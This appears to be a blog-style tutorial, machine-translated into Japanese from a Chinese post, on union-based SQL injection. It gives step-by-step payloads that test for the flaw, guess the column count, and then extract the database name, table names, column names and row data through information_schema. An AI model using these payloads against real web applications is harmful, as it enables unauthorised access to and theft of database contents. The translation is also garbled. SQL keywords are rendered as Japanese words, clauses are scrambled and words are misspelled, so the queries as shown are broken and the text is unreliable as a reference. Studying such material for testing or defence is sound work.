SQLインジェクション(a)の数値-----

、SQLインジェクションの脆弱性

  我々は、バックエンドデータベースへのデータベース操作のためのSQL文でのWebアプリを渡すときに、ユーザーが入力したパラメータは、厳格なフィルタリング処理を受けない場合、悪質な訪問者が実行するために、直接データベースエンジンに特別なSQLステートメントを構築することができ、取得またはデータベース内のデータを変更します。

第二に、どのようにSQLインジェクション?

  図1は、か否かが判定されるが、SQLインジェクション

    そして1 = 1リターン正しいを

    1 = 2がエラーを返します

  2、フィールドの数は推測します

    Xによってオーダー(デジタル)

    

  3、推測フィールドビット(フィールドの数は、内部と一致しなければなりません)

    1 = 2 

    組合SELCT 1,2,3

    

  4、データベースの名前を推測します

    組合は1を選択し、データベース()、3

    

  図5に示すように、ジョイント問い合わせポイントは次のレベル(()GROUP_CONCAT)を表します

  データベースの侵入テストのすべての現在のテーブル名を推測。

    組合1を選択し、GROUP_CONCAT(TABLE_NAME)、3 INFORMATION_SCHEMA.TABLESからTABLE_SCHEMA = '侵入テスト' 或

    組合はTABLE_SCHEMA = INFORMATION_SCHEMA.TABLESから、1、GROUP_CONCAT(TABLE_NAME)を選択し3 データベース()

 

 

  

 

  6、列名が推測

    組合はtable_nameは= 'ニュース' information_schema.columnsから、1、GROUP_CONCAT(COLUMN_NAME)を選択3

    

 

   7、推測データ

    組合はニュースから1、GROUP_CONCAT(ID、タイトル、内容)、3を選択します 

    

 

おすすめ

転載: www.cnblogs.com/startingpoint-fly/p/11121803.html